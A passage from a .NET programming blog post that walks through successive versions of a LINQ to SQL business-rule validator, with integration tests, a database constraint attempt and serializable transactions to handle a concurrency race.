wrote, each version would have a defect. But the code looks so innocent; what could be wrong with it?<br /><br />The trouble is that this validator is too simplistic and the possible deletion of orders within that context are not handled correctly. Here is an integration test that proves this bug:</p><pre class="cs" language="csharp" customtypes="TestMethod TransactionScope NorthwindDataContext Customer Order " customvaluetypes="PutYourCustomValueTypesHere">[TestMethod]<br />public void UnshippedOrdersRuleTest01()<br />{<br />    using (new TransactionScope())<br />    {<br />        using (var db = new NorthwindDataContext())<br />        {<br />            // Customer ERNSH has 2 unshipped order in the <br />            // database.<br />            Customer ernsh =<br />                db.Customers.Single(c =&gt; c.CustomerID == &quot;ERNSH&quot;);<br /><br />            ernsh.ContactName = &quot;Steven&quot;;<br /><br />            // Adding one new unshipped order. <br />            Order orderToInsert = new Order();<br />            orderToInsert.Customer = ernsh;<br />            db.Orders.InsertOnSubmit(orderToInsert);<br /><br />            // Delete this order and its details.<br />            Order orderToDelete = (<br />                from order in db.Orders<br />                where order.CustomerID == ernsh.CustomerID<br />                where order.ShippedDate == null<br />                select order).First();<br /><br />            // We must also delete the order&rsquo;s details.<br />            db.Orders.DeleteOnSubmit(orderToDelete);<br />            db.OrderDetails.DeleteAllOnSubmit(<br />                orderToDelete.OrderDetails);<br /><br />            // SubmitChanges should succeed, because the customer<br />            // should now still have 2 unshipped orders.<br />            db.SubmitChanges();<br />        }<br />    }<br />}</pre><p>Here are some notes on this test. While it&rsquo;s an automated test, it differentiates from normal unit tests in that it doesn&rsquo;t test a single unit of code, but a single feature or requirement. The test does this by touching the different tiers in the application. It even accesses the database in this test, which is absolutely a no-go in unit testing. The test expects the Northwind database with it&rsquo;s default data (therefore, it&rsquo;s wise to have a dedicated test database, when you&rsquo;re running integration tests). By wrapping all code in a <span class="type">TransactionScope</span>, we ensure that all database changes are rolled back after the test finished. This way we can be sure that the test can run successfully again and again. Also note that I only show tests relevant to this post. In reality, more tests are needed to prove correctness of this business rule.<br /><br />The test retrieves a specific customer from the database, inserts a new unshipped order for that customer and deletes another (already existing) unshipped order from the database. The specified customer has currently two unshipped orders in the database (a precondition for this test to run). Now after deleting one of those and adding a new unshipped order, the customer should again have two unshipped orders, but the test fails and therefore I&rsquo;ve proven this first version of the unshipped orders business rule to be flawed.</p><h5>Version 2.0</h5><p>Here is a new implementation of the <span class="code">DoValidate</span> method, that fixes that flaw:</p><pre class="cs" language="csharp" customtypes="ValidationResults Customer NorthwindDataContext ContextScope Order" customvaluetypes="PutYourCustomValueTypesHere">protected override void DoValidate(object objectToValidate, <br />    object currentTarget, string key, ValidationResults results)<br />{<br />    Customer customer = (Customer)currentTarget;<br /><br />    NorthwindDataContext context = <br />        (NorthwindDataContext)ContextScope.CurrentContext;<br /><br />    var ordersToDelete =<br />        context.GetChangeSet().Deletes.OfType&lt;Order&gt;();<br /><br />    int totalUnshippedOrders = (<br />        from order in customer.Orders<br />        where order.ShippedDate == null<br />        where !ordersToDelete.Contains(order)<br />        select order).Count();<br /><br />    if (totalUnshippedOrders &gt; MaximumNumberOfUnshippedOrders)<br />    {<br />        ...<br />    }<br />}</pre><p>This new version uses the <span class="type">ContextScope</span><span class="code">.CurrentContext</span> construct to get the context, as discussed in <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=47" title=".NET Junkie - Integrating Enterprise Library Validation Application Block with LINQ to SQL and Entity Framework Part 2: Using context within custom validators.">part 2</a>. It uses LINQ to SQL&rsquo;s <a rel="external" href="http://msdn.microsoft.com/en-us/library/system.data.linq.changeset.aspx" title="MSDN - System.Data.Linq.ChangeSet Class"><span class="type">ChangeSet</span></a> to determine all orders that are currently being deleted (within that context of course). This list is used to filter those orders from the total number of unshipped orders, because this is what caused our test to fail. The rest of the code remains the same.<br /><br />The previously defined integration test will now succeed. However, there is another problem. The validator only validates customers, while also orders have to be validated. Let&rsquo;s write a second test to detect this bug:</p><pre class="cs" language="csharp" customtypes="TestMethod ExpectedException ValidationException TransactionScope NorthwindDataContext Customer Order" customvaluetypes="PutYourCustomValueTypesHere">[TestMethod]<br />[ExpectedException(typeof(ValidationException))]<br />public void UnshippedOrdersRuleTest02()<br />{<br />    using (new TransactionScope())<br />    {<br />        using (var db = new NorthwindDataContext())<br />        {<br />            // Customer ERNSH has two unshipped order in the <br />            // database.<br />            Customer ernsh =<br />                db.Customers.Single(c =&gt; c.CustomerID == &quot;ERNSH&quot;);<br /><br />            // Adding a third unshipped order. <br />            Order orderToInsert = new Order();<br />            orderToInsert.Customer = ernsh;<br />            db.Orders.InsertOnSubmit(orderToInsert);<br /><br />            // SubmitChanges should throw a ValidationException.<br />            db.SubmitChanges();<br />        }<br />    }<br />}</pre><p>This test fails, because <span class="code">SubmitChanges</span> didn&rsquo;t throw the expected exception. This happens because the validator is never called. The first test (deliberately) changed the <span class="code">ContactName</span> of the customer. This second test however didn&rsquo;t. Therefore the customer didn&rsquo;t change and because of that the validation wasn&rsquo;t triggered.<br /><br />In <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=46" title=".NET Junkie - Integrating Enterprise Library Validation Application Block With LINQ to SQL and Entity Framework Part 1: Basic Integration">part 1</a>, I&rsquo;ve built the validation infrastructure in such a way that it only validates changed objects (see the <span class="code">GetChangedEntities</span> method). That infrastructure could be changed in such a way that it validates all objects, but this would give an enormous performance penalty. Thousands of entities could be loaded by the context, while maybe just a single entity was changed. The real event that should trigger the validation of a customer is not the creation or mutation of the customer itself, but rather that of an order. Let&rsquo;s try it once more.</p><h5>Version 3.0</h5><p>Below, the new <span class="code">DoValidate</span> implementation changed in such a way that -not a customer- but the customer&rsquo;s order is the target object:</p><pre class="cs" language="csharp" customtypes="ValidationResults Customer Order NorthwindDataContext ContextScope" customvaluetypes="PutYourCustomValueTypesHere">protected override void DoValidate(object objectToValidate, <br />    object currentTarget, string key, ValidationResults results)<br />{<br />    // We cast the currentTarget to the order and get it&rsquo;s customer.<br />    Customer customer = ((Order)currentTarget).Customer;<br /><br />    NorthwindDataContext context =<br />        (NorthwindDataContext)ContextScope.CurrentContext;<br /><br />    var ordersToDelete =<br />        context.GetChangeSet().Deletes.OfType&lt;Order&gt;();<br /><br />    int totalUnshippedOrders = (<br />        from order in customer.Orders<br />        where order.ShippedDate == null<br />        where !ordersToDelete.Contains(order)<br />        select order).Count();<br /><br />    if (totalUnshippedOrders &gt; MaximumNumberOfUnshippedOrders)<br />    {<br />        ...<br />    }<br />}</pre><p>Within the validator, the customer is still validated, but VAB is now supplying an order. Changing an order should now trigger the validation and for this the VAB configuration must be changed:</p><pre class="cs" language="csharp" customtypes="PutYourCustomTypesHere" customvaluetypes="PutYourCustomValueTypesHere">  &lt;validation&gt;<br />    &lt;type name=&quot;Order&quot; defaultRuleset=&quot;Default&quot;<br />      assemblyName=&quot;Domain&quot;&gt;<br />      &lt;ruleset name=&quot;Default&quot;&gt;<br />        &lt;validator type=&quot;UnshippedOrdersRuleValidator, Validators&quot;<br />          name=&quot;Unshipped Orders Rule Validator&quot; /&gt;<br />      &lt;/ruleset&gt;<br />    &lt;/type&gt;<br />  &lt;/validation&gt;<br /></pre><p>While the new code and configuration satisfies both the previously defined tests, this change resulted in a new problem. When a customer is invalid, we&rsquo;d expect a single message that describes this error. Let&rsquo;s write a test for this:</p><pre class="cs" language="csharp" customtypes="TestMethod TransactionScope NorthwindDataContext Customer Order Assert ValidationException" customvaluetypes="PutYourCustomValueTypesHere">[TestMethod]<br />public void UnshippedOrdersRuleTest03()<br />{<br />    using (new TransactionScope())<br />    {<br />        using (var db = new NorthwindDataContext())<br />        {<br />            Customer junkie = new Customer();<br /><br />            junkie.CustomerID = &quot;junki&quot;;<br />            junkie.ContactName = &quot;S. van Deursen&quot;;<br />            junkie.CompanyName = &quot;Cutting Edge&quot;;<br /><br />            // Adding three new unshipped orders.<br />            // Yes, this magically works in L2S :-)<br />            new Order { Customer = junkie };<br />            new Order { Customer = junkie };<br />            new Order { Customer = junkie };<br /><br />            db.Customers.InsertOnSubmit(junkie);<br /><br />            try<br />            {<br />                db.SubmitChanges();<br />                Assert.Fail(&quot;Exception was expected.&quot;);<br />            }<br />            catch (ValidationException vex)<br />            {<br />                int actualCount = vex.Results.Count;<br />                // Should contain one message.<br />                Assert.AreEqual(1, actualCount);<br />            }<br />        }<br />    }<br />}</pre><p>This third test fails, because the list of errors will contain three results instead of the expected single result. There is a result for each validated order. But all results describe the same message:</p><blockquote><font color="#ff0000">Customer with ID junki has currently 3 unshipped orders, while 2 is the maximum permitted number of unshipped orders.</font></blockquote><p>These duplicate error messages will clutter the user interface and while it&rsquo;s possible to filter those duplicate messages, this isn&rsquo;t desirable. Besides that, duplicate validations can have big impact on the performance of the system. Imagine changing a couple of hundred orders of a single customer within the same context.</p><h5>Version 4.0</h5><p>How can these duplicate validations be prevented? A validated customer must be registered in such a way that the <span class="type">UnshippedOrdersRuleValidator</span> doesn&rsquo;t validate that customer twice within the same context. It should also work correctly in a multi-threaded / multi-user environment such as ASP.NET. To solve this, let&rsquo;s use the infrastructure, presented in <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=47" title=".NET Junkie - Integrating Enterprise Library Validation Application Block with LINQ to SQL and Entity Framework Part 2: Using context within custom validators.">part 2</a>. Some sort of caching mechanism must be implemented that validators can use. The only feasible place to define such a mechanism is within the <span class="type">ContextScope</span> class (see <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=47" title=".NET Junkie - Integrating Enterprise Library Validation Application Block with LINQ to SQL and Entity Framework Part 2: Using context within custom validators.">part 2</a> for the previous definition). Here is a new implementation:</p><pre class="cs" language="csharp" customtypes="ContextScope IDisposable ThreadStatic " customvaluetypes="PutYourCustomValueTypesHere">public sealed class ContextScope : IDisposable<br />{<br />    private const string ScopeAlreadyActiveExceptionMessage =<br />        &quot;A ContextScope has already been declared within &quot; +<br />        &quot;the current scope. Only one scope can be active.&quot;;<br /><br />    private const string NoScopeActiveExceptionMessage =<br />        &quot;A ContextScope hasn't been declared with in the &quot; +<br />        &quot;current scope. This property can only be called &quot; +<br />        &quot;within the context of a ContextScope.&quot;;<br /><br />    [ThreadStatic]<br />    private static object currentContext;<br /><br />    // This static field has been added.<br />    [ThreadStatic]<br />    private static Dictionary&lt;Type, object&gt; currentItems;<br /><br />    public ContextScope(object context)<br />    {<br />        context.Requires(&quot;context&quot;).IsNotNull();<br /><br />        if (currentContext != null)<br />        {<br />            throw new InvalidOperationException(<br />                ScopeAlreadyActiveExceptionMessage);<br />        }<br /><br />        currentContext = context;<br />        currentItems = new Dictionary&lt;Type, object&gt;();<br />    }<br /><br />    public static object CurrentContext<br />    {<br />        get<br />        {<br />            object context = currentContext;<br /><br />            if (context == null)<br />            {<br />                throw new InvalidOperationException(<br />                    NoScopeActiveExceptionMessage);<br />            }<br /><br />            return context;<br />        }<br />    }<br /><br />    // This static property has been added.<br />    public static Dictionary&lt;Type, object&gt; CurrentItems<br />    {<br />        get<br />        {<br />            Dictionary&lt;Type, object&gt; items = currentItems;<br /><br />            if (items == null)<br />            {<br />                throw new InvalidOperationException(<br />                    NoScopeActiveExceptionMessage);<br />            }<br /><br />            return items;<br />        }<br />    }<br /><br />    public void Dispose()<br />    {<br />        currentContext = null;<br />        currentItems = null;<br />    }<br />}</pre><p>This extended <span class="type">ContextScope</span> contains a new <span class="code">CurrentItems</span> property that returns a thread-local dictionary, just like the thread-local context returned from the <span class="code">CurrentContext</span> property. This is a generic solution for all our custom validators that need a context-aware cache. Now let&rsquo;s fix the implementation of the <span class="type">UnshippedOrdersRuleValidator</span> class, using this new feature:</p><pre class="cs" language="csharp" customtypes="ValidationResults Customer Order NorthwindDataContext ContextScope UnshippedOrdersRuleValidator" customvaluetypes="PutYourCustomValueTypesHere">protected override void DoValidate(object objectToValidate, <br />    object currentTarget, string key, ValidationResults results)<br />{<br />    Customer customer = ((Order)currentTarget).Customer;<br /><br />    // Prevent duplicate customer validations.<br />    if (ValidatedCustomers.Contains(customer))<br />    {<br />        return;<br />    }<br /><br />    // Add the customer to the list of validated customers.<br />    ValidatedCustomers.Add(customer);<br /><br />    NorthwindDataContext context =<br />        (NorthwindDataContext)ContextScope.CurrentContext;<br /><br />    var ordersToDelete =<br />        context.GetChangeSet().Deletes.OfType&lt;Order&gt;();<br /><br />    ...<br />}<br /><br />// Returns a list of customers, validated in the current context.<br />private static HashSet&lt;Customer&gt; ValidatedCustomers<br />{<br />    get<br />    {<br />        Dictionary&lt;Type, object&gt; items = ContextScope.CurrentItems;<br /><br />        Type key = typeof(UnshippedOrdersRuleValidator);<br /><br />        object validatedCustomers;<br /><br />        // Get the list of validated customers from the cache.<br />        if (!items.TryGetValue(key, out validatedCustomers))<br />        {<br />            // When there's no list yet, we create a new one and <br />            // register it in the item cache.<br />            validatedCustomers = new HashSet&lt;Customer&gt;();<br />            items.Add(key, validatedCustomers);<br />        }<br /><br />        return (HashSet&lt;Customer&gt;)validatedCustomers;<br />    }<br />}</pre><p>This version uses the new <span class="type">ContextScope</span><span class="code">.CurrentItems</span> property to retrieve its list of validated customers. Because I&rsquo;ve implemented the <span class="code">CurrentItems</span> as a dictionary with a <span class="type">Type</span> key, the validator can supply it&rsquo;s type as key. This way each validator can have it&rsquo;s own private cache, without interfering with others.<br /><br />The next problem we will tackle has to do with the <span class="code">Orders</span> property on our LINQ to SQL customer entity. The <span class="code">Orders</span> property returns a collection of orders. To be more precise: it returns an instance of type EntitySet&lt;Order&gt;. LINQ to SQL&rsquo;s <a rel="external" href="http://msdn.microsoft.com/en-us/library/bb341748.aspx" title="MSDN - System.Data.Linq.EntitySet&lt;(Of &lt;(TEntity&gt;)&gt;) Class"><span class="type">EntitySet</span><span class="code">&lt;TEntity&gt;</span></a> however, is an in-memory store of all orders related to that customer. It doesn&rsquo;t implement <span class="type">IQueryable</span><span class="code">&lt;T&gt;</span>, but <span class="type">IEnumerable</span><span class="code">&lt;T&gt;</span> exclusively. You can only iterate over all items and that means all the orders in the database related to that specific customer. In other words, the &lsquo;<span class="keyword">from</span><span class="code"> order </span><span class="keyword">in</span><span class="code"> customer.Orders</span>&rsquo; query in the <span class="code">DoValidate</span> method retrieves *all* orders for that customer from the database. Imagine a customer with a few thousand orders and you&rsquo;ll get the picture. Every time this validator runs, it loads all orders in memory. Now imagine yourself this validator running on your production web server with thousands of users. Of course we know that <a rel="external" href="http://c2.com/cgi/wiki?PrematureOptimization" title="DonaldKnuth - Premature optimization is the root of all evil">premature optimization is the root of all evil</a>, but let&rsquo;s say we know during design that certain customers will have over a thousand orders now or in the near future. In that case we aren&rsquo;t talking about premature optimization anymore. With that condition in mind, we&rsquo;ll have to make a conscious design decision.</p><h5>Version 5.0</h5><p>It&rsquo;s note easy to write an integration test that checks whether the validator loads too many orders, because the validator is functionally correct and LINQ to SQL doesn&rsquo;t allow us to hook into it&rsquo;s infrastructure to check this. Writing such a test is outside the scope of this post. Therefore we directly move on to the new definition of the UnshippedOrdersRuleValidator class:</p><pre class="cs" language="csharp" customtypes="ValidationResults Customer Order NorthwindDataContext ContextScope ChangeSet IQueryable" customvaluetypes="PutYourCustomValueTypesHere">protected override void DoValidate(object objectToValidate, <br />    object currentTarget, string key, ValidationResults results)<br />{<br />    Customer customer = ((Order)currentTarget).Customer;<br /><br />    // Prevent duplicate customer validations.<br />    if (ValidatedCustomers.Contains(customer))<br />    {<br />        return;<br />    }<br /><br />    ValidatedCustomers.Add(customer);<br /><br />    NorthwindDataContext context =<br />        (NorthwindDataContext)ContextScope.CurrentContext;<br /><br />    IQueryable&lt;Order&gt; unshippedOrdersInDatabase =<br />        GetUnshippedOrdersFromDatabase(context, customer);<br /><br />    IEnumerable&lt;Order&gt; unshippedOrdersInMemory =<br />        GetUnshippedOrdersFromContext(context, customer);<br /><br />    int totalUnshippedOrders =<br />        unshippedOrdersInDatabase.Count() +<br />        unshippedOrdersInMemory.Count();<br /><br />    if (totalUnshippedOrders &gt; MaximumNumberOfUnshippedOrders)<br />    {<br />        ...<br />    }<br />}<br /><br />private static IQueryable&lt;Order&gt; GetUnshippedOrdersFromDatabase(<br />    NorthwindDataContext context, Customer customer)<br />{<br />    ChangeSet changeSet = context.GetChangeSet();<br /><br />    var updatesAndDeletesInContext =<br />        changeSet.Updates.Concat(changeSet.Deletes);<br /><br />    // Get a list of all the customer's orders that are updated or <br />    // deleted.<br />    var excludedOrderIds =<br />        from order in updatesAndDeletesInContext.OfType&lt;Order&gt;()<br />        where order.CustomerID == customer.CustomerID<br />        select order.OrderID;<br /><br />    // Get a list of all the customer's orders in the database<br />    // that have no shipped date, excluded by the list of updated<br />    // and deleted orders in the current context (this prevents <br />    // double counts).<br /><br />    // Note that we use context.Orders instead of customer.Orders<br />    return<br />        from order in context.Orders<br />        where order.CustomerID == customer.CustomerID<br />        where order.ShippedDate == null<br />        where !excludedOrderIds.Contains(order.OrderID)<br />        select order;<br />}<br /><br />private static IEnumerable&lt;Order&gt; GetUnshippedOrdersFromContext(<br />    NorthwindDataContext context, Customer customer)<br />{<br />    ChangeSet changeSet = context.GetChangeSet();<br /><br />    var insertsAndUpdatesInContext =<br />        changeSet.Inserts.Concat(changeSet.Updates);<br /><br />    // Get a list of all the customer's orders in the datacontext<br />    // (in memory) that are being inserted or updated and don't <br />    // have a shipped data (we don't count the deletes).<br />    return<br />        from order in insertsAndUpdatesInContext.OfType&lt;Order&gt;()<br />        where order.CustomerID == customer.CustomerID<br />        where order.ShippedDate == null<br />        select order;<br />}<br /></pre><p>As you can see, there&rsquo;s already a lot of code to get the business rule correct. Although this version is functionally equivalent to the previous version, the performance is much better. The <span class="type">IQueryable</span><span class="code">&lt;</span><span class="type">Order</span><span class="code">&gt;</span> returned from the <span class="code">GetUnshippedOrdersFromDatabase</span> function is deferred and will result in the following (very efficient) database query during the call to <span class="code">Count()</span>:</p><pre><font color="#0000ff">SELECT  </font><font color="#ff00ff">COUNT</font>(*) <font color="#0000ff">AS </font>[value]<br /><font color="#0000ff">FROM    </font>[dbo].[Orders] <font color="#0000ff">AS </font>[t0]<br /><font color="#0000ff">WHERE   </font>(<font color="#0000ff">NOT </font>([t0].[OrderID] <font color="#0000ff">IN </font>(@p0))) <br /><font color="#0000ff">AND     </font>([t0].[ShippedDate] <font color="#0000ff">IS NULL</font>) <br /><font color="#0000ff">AND     </font>([t0].[CustomerID] = @p1)</pre><p>But still, even now, there&rsquo;s a glitch. This time however, the problem is less obvious, it is one of concurrency. While this code is functionally correct and even performs great, a system that uses the rule might get in the situation where two different users / processes manage to simultaneously insert new unshipped orders for a certain customer and thereby bypassing the validation mechanism. This will happen when the validators for both processes run before each other&rsquo;s order insertions. The <a rel="external" href="://en.wikipedia.org/wiki/Optimistic_concurrency_control" title="Wikipedia - http://en.wikipedia.org/wiki/Optimistic_concurrency_control">optimistic locking</a> mechanism most O/RM tools use, will not help in this case. Optimistic concurrency mechanisms are simply unable to handle this specific scenario. To solve this <a rel="external" href="http://en.wikipedia.org/wiki/Race_condition" title="Wikipedia - Race condition">race condition</a>, these are the alternatives one could consider:</p><ul><li>Do nothing and just let it happen.</li><li>Use pessimistic offline locking.</li><li>Implement a constraint in the database.</li><li>Use database transactions (a.k.a. pessimistic online locking).</li></ul><p>Doing nothing and letting it happen can be a very valid solution to this problem. If you can predict that the likelihood of failure, times the costs of correcting the corrupted data in case of such a failure is less than the costs of implementing a foolproof solution; that solution is commercially your best pick (but don&rsquo;t forget to document that decision). Of course this depends on a wide variety of variables, both technically and non-technically, such as the chosen architecture, complexity of the system, experience of the development team, business strategy, the cost of repairing customer trust, etc.<br /><br />The second alternative is using a <a rel="external" href="http://martinfowler.com/eaaCatalog/pessimisticOfflineLock.html" title="Martin Fowler - Pessimistic Offline Lock">pessimistic offline lock</a>. Depending upon requirements and the system architecture, a locking mechanism could be used that&rsquo;s not based on database transaction (pessimistic online locking), or <a rel="external" href="://en.wikipedia.org/wiki/Optimistic_concurrency_control" title="Wikipedia - http://en.wikipedia.org/wiki/Optimistic_concurrency_control">optimistic locking</a>. <a rel="external" href="http://martinfowler.com/" title="Martin Fowler - Author, speaker, and consultant on the design of enterprise software.">Martin Fowler</a> describes a pessimistic offline lock as follows:</p><blockquote>It forces a business transaction to acquire a lock on a piece of data before it starts to use it, so that, most of the time, once you begin a business transaction you can be pretty sure you'll complete it without being bounced by concurrency control.</blockquote><p>Acquiring a lock on a piece of data could be done in several ways. You could for instance implement this by storing extra information at row level about who locked the data at which moment. Using pessimistic offline locking all over the place however, is a terrible idea and it has to be thought out very carefully within the business requirements and system architecture, where and how to use this mechanism. For instance, when the given business rule runs within automated processes, what should be done in case of a lock? Should one of the processes fail, wait until the lock can be acquired or should it be prevented from running in the first place?</p><h5>Version 6.0</h5><p>Let&rsquo;s try to solve the problem using a database constraint. Using a database constraint is only a fallback mechanism to prevent state corruption in the database. It prevents corruption, but it&rsquo;s not always suitable in the context of an O/RM technology, as we will see shortly. I call constraints a fallback mechanism, because it&rsquo;s preferable to define all business rules in one place. Of course I prefer defining them in code, as I&rsquo;m showing you in this post by using the VAB. The problem with constraints is that a failing database constraint will result in an exception being thrown within .NET and while it&rsquo;s possible to do some smart exception filtering to see which constraint did fail, that&rsquo;s all there is. There is no (simple) way to see which entity caused the failure, and because of this, there is no way to communicate back to the user what exactly went wrong and what must be done to fix the problem.<br /><br />The problem we&rsquo;re dealing with here is one of concurrency. It might not show up that often (if ever) and therefore we might be fine with the few times that it fails hard. At least our database remains consistent. Let&rsquo;s assume we are fine with it failing ugly, and let&rsquo;s create a constraint in the database for our made up business rule:</p><pre><font color="#000000"><font color="#0000ff">CREATE FUNCTION </font>dbo.GetNumberOfUnshippedOrders<br />(<br />    @CustomerID <font color="#0000ff">nchar</font>(5)<br />)<br /><font color="#0000ff">RETURNS int<br />AS<br />BEGIN<br />    DECLARE</font> @Result <font color="#0000ff">int</font><br /><br />    <font color="#0000ff">SELECT </font>@Result = <font color="#ff00ff">COUNT</font>(*)<br />    <font color="#0000ff">FROM   </font>Orders<br />    <font color="#0000ff">WHERE  </font>CustomerID = @CustomerID<br />    <font color="#0000ff">AND    </font>ShippedDate <font color="#0000ff">IS NULL</font><br /><br />    <font color="#0000ff">RETURN </font>@Result<br /><font color="#0000ff">END<br />GO<br /><br />ALTER TABLE</font> dbo.Orders <br /><font color="#0000ff">ADD CONSTRAINT</font> CK_Orders_MaxUnshippedOrders <br /><font color="#0000ff">CHECK </font>(<br />    dbo.GetNumberOfUnshippedOrders(CustomerID) &lt;= 2<br />)<br /></font></pre><p>After we added the constraint to the database we can rerun our integration tests to see if everything still works fine, but <em>Houston we have a problem</em>! The first test fails:</p><blockquote><font color="#ff0000">Test method TestProject1.UnitTest1.UnshippedOrdersRuleTest01 threw exception:&nbsp; System.Data.SqlClient.SqlException: The INSERT statement conflicted with the CHECK constraint &quot;CK_Orders_MaxUnshippedOrders&quot;. The conflict occurred in database &quot;Northwind&quot;, table &quot;dbo.Orders&quot;, column 'CustomerID'.<br />The statement has been terminated.</font></blockquote><p>Why is this constraint making our test fail? Look at the test and notice how the insertion of the new order happens before the deletion of the old. Swapping the order in which those are executed however, will have no effect. We&rsquo;re screwed here, because LINQ to SQL reorders the mutations, and decides that <a rel="external" href="http://stackoverflow.com/questions/445985/linq-to-sql-execution-order-when-calling-submitchanges/1210190#1210190" title="Stackoverflow - Linq to SQL: execution order when calling SubmitChanges()">deletes should be executed after inserts</a>. There is nothing we can do about that. This is why O/RM technologies such as LINQ to SQL could sometimes make it hard to define database constraints. This version failed, let&rsquo;s remove that constraint again from the database and move on to the last alternative:</p><pre><font><font color="#000000"><font color="#0000ff">ALTER TABLE </font>dbo.Orders <br /><font color="#0000ff">DROP CONSTRAINT</font> CK_Orders_MaxUnshippedOrders <br /></font></font></pre><p>Adding a constraint didn&rsquo;t work in this scenario. The last alternative is using database transactions. We could wrap the use of the context class in a transaction. Using the <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=13" title=".NET Junkie - The DbTransactionWrapper"><span class="type">SqlTransactionWrapper</span></a>, I wrote a long time ago, this would look like this:</p><pre class="cs" language="csharp" customtypes="SqlTransactionWrapper NorthwindDataContext" customvaluetypes="PutYourCustomValueTypesHere">using (var tran = new SqlTransactionWrapper(&quot;connstr.&quot;))<br />{<br />    using (var db = new NorthwindDataContext(tran.Connection))<br />    {<br />        // We'll need to set the Transaction in L2S.<br />        db.Transaction = tran.Transaction;<br /><br />        // TODO: Business logic<br /><br />        db.SubmitChanges();<br />    }<br /><br />    tran.Commit();<br />}<br /></pre><p>However, when trying to use transactions to prevent concurrency conflicts to occur, one could have a rude awakening. In this case the transactional logic should prevent other processes from creating, updating or deleting orders for the validated customer. Normally this would mean creating custom queries with <a rel="external" href="http://msdn.microsoft.com/en-us/library/aa213026.aspx" title="MSDN SQL Server Locking Hints">locking hints</a>, because just using a transaction -even serializable transactions- will not protect you from this race condition. When using O/RM technology, writing custom queries is something we&rsquo;d like to prevent. O/RM tools take away the need to write SQL code and hand-written SQL statements are hard to integrate with O/RM tools. Besides, I find reasoning about transactional correctness pretty difficult.</p><blockquote>Note: Although I like using the <span class="type">TransactionScope</span> with integration tests, I never seem to see them fit in my software architecture. Within the scope of a <span class="type">TransactionScope</span>, there will be only one transaction. This means that, in case of a failure, all database operations will be reverted. That means that also logging information, such as exception logging, written to the database, will be rolled back. Of course one could again make sure those logs are written in their own <span class="type">TransactionScope</span>, but this makes designing and writing applications much harder.</blockquote><p>I think the simplest way in writing correct transactional code in this situation is by using a serializable transaction in conjunction with a count operation over the Orders table for all orders of the customer being validated. The count operation over the customer&rsquo;s orders together with the serializable transaction prevents other transactions from inserting new orders for that customer during that transaction. Here is the updated <span class="type">UnshippedOrdersRuleValidator</span> class:</p><pre class="cs" language="csharp" customtypes="ValidationResults NorthwindDataContext ContextScope DbTransaction " customvaluetypes="PutYourCustomValueTypesHere">protected override void DoValidate(object objectToValidate, <br />    object currentTarget, string key, ValidationResults results)<br />{<br />    ...<br /><br />    NorthwindDataContext context =<br />        (NorthwindDataContext)ContextScope.CurrentContext;<br /><br />    CheckIfContextRunsInSerializableTransaction(context);<br /><br />    // This select count(*) will, in conjunction with the<br />    // serializable transaction, prevent other transactions from<br />    // inserting, updating and deleting orders for this customer.<br />    context.Orders<br />        .Where(o =&gt; o.CustomerID == customer.CustomerID)<br />        .Count();<br /><br />    ...<br />}<br /><br />private void CheckIfContextRunsInSerializableTransaction(<br />    NorthwindDataContext context)<br />{<br />    DbTransaction transaction = context.Transaction;<br /><br />    if (transaction == null || context.Connection == null ||<br />        transaction.IsolationLevel != IsolationLevel.Serializable)<br />    {<br />        throw new InvalidOperationException(&quot;The context &quot; +<br />            &quot;should be part of a serializable transaction&quot;);<br />    }<br />}</pre><p>Running the context in a serializable transaction, should not be forgotten:</p><pre class="cs" language="csharp" customtypes="SqlTransactionWrapper NorthwindDataContext" customvaluetypes="IsolationLevel">using (var tran = new SqlTransactionWrapper(&quot;connstr.&quot;,<br />    IsolationLevel.Serializable))<br />{<br />    using (var db = new NorthwindDataContext(tran.Connection))<br />    {<br />        db.Transaction = tran.Transaction;<br /><br />        // TODO: Business logic<br /><br />        db.SubmitChanges();<br />    }<br /><br />    tran.Commit();<br />}<br /></pre><p>This effectively solves the concurrency problem. Still, using a serializable transaction has it&rsquo;s problems on it&rsquo;s own. It increases the possibility of deadlocks to occur, especially since we have no control over the order in which O/RM tools write data and the order in which our validators are executed. And while there is the possibility to detect a deadlock exception within the SubmitChanges method, and retry the operation, it&rsquo;s better to not do this while the context is part of a bigger transaction (as shown in the last example). A deadlock detected by the database will effectively rollback that transaction in the database, while the connection is kept open in .NET. Retrying that operation, means it will be executed in a transactionless context and this could lead to data corruption. I think it&rsquo;s best to consider the complete connection doomed in case of a failure caused by SQL. Retrying the operation can only be done on the level where the transaction is defined (by recreating that transaction and it&rsquo;s connection), but this is typically a place where you don&rsquo;t want to have such logic. I advice you just let it fail and let the infrastructure log that exception.</p><blockquote>Note: Please note that while serializable transactions might increase the number of deadlocks in the system, you must ask yourself if you know for sure that lowering the isolation level of your transactions couldn&rsquo;t lead to a database that is in a (functionally) corrupted state. This is very hard to reason about. Also remember that this deadlock might have actually prevented any state corruption.</blockquote><p>Please note that the reason that using locks works in this scenario, is because the database server holds locks on certain indexes in the Orders table. The effectiveness of this solution therefore depends on the indexes in this table. Changing the indexes in the database could change the effectiveness and correctness of this solution. This has to be taking into effect when choosing such a solution. When using SQL Server, you can use the <a rel="external" href="http://msdn.microsoft.com/en-us/library/ms187749.aspx" title="MSDN - Transact-SQL Reference - sp_lock">sp_lock</a> or <a rel="external" href="http://support.microsoft.com/kb/q255596/" title="Microsoft support - sp_lock2 Returns Additional Locking Details">sp_lock2</a> procedures to check whether the code acquired the correct locks and of course check your assumptions manually when building such a solution and every time you make changes to the indexes in the database. This makes it a time consuming and error-prone solution.</p><h5>Conclusion</h5><p>We must conclude that there is not a technically pleasant solution to our business rule problem. While serializable transactions do the trick, they have their performance penalties and increased changes of deadlocking. Although your solution works today, it could behave differently after your colleague added or removed an index. Also note that, because of the difficulties, I would say using serializable transactions is an architectural decision. Determining on your application, it may be better to go for pessimistic offline locking, or perhaps doing nothing and letting it happen is even more feasible. But, as I said, this totally depends on your business, architecture, software, team, etc. However, what remains important, is to understand the difficulties you are facing. Software engineering is all about tradeoffs, but if you don&rsquo;t know there is a difficulty, there is nothing to consider in the first place. I hope I succeeded in warning you.</p><p>In the <a rel="external" href="http://cuttingedge.it/blogs/steven/pivot/entry.php?id=64" title="Integrating Enterprise Library Validation Application Block With LINQ to SQL and Entity Framework Part 4: Using Metadata to Automate Validations">next part</a> of this series I'll show how to use the metadata, generated by LINQ to SQL, to automate 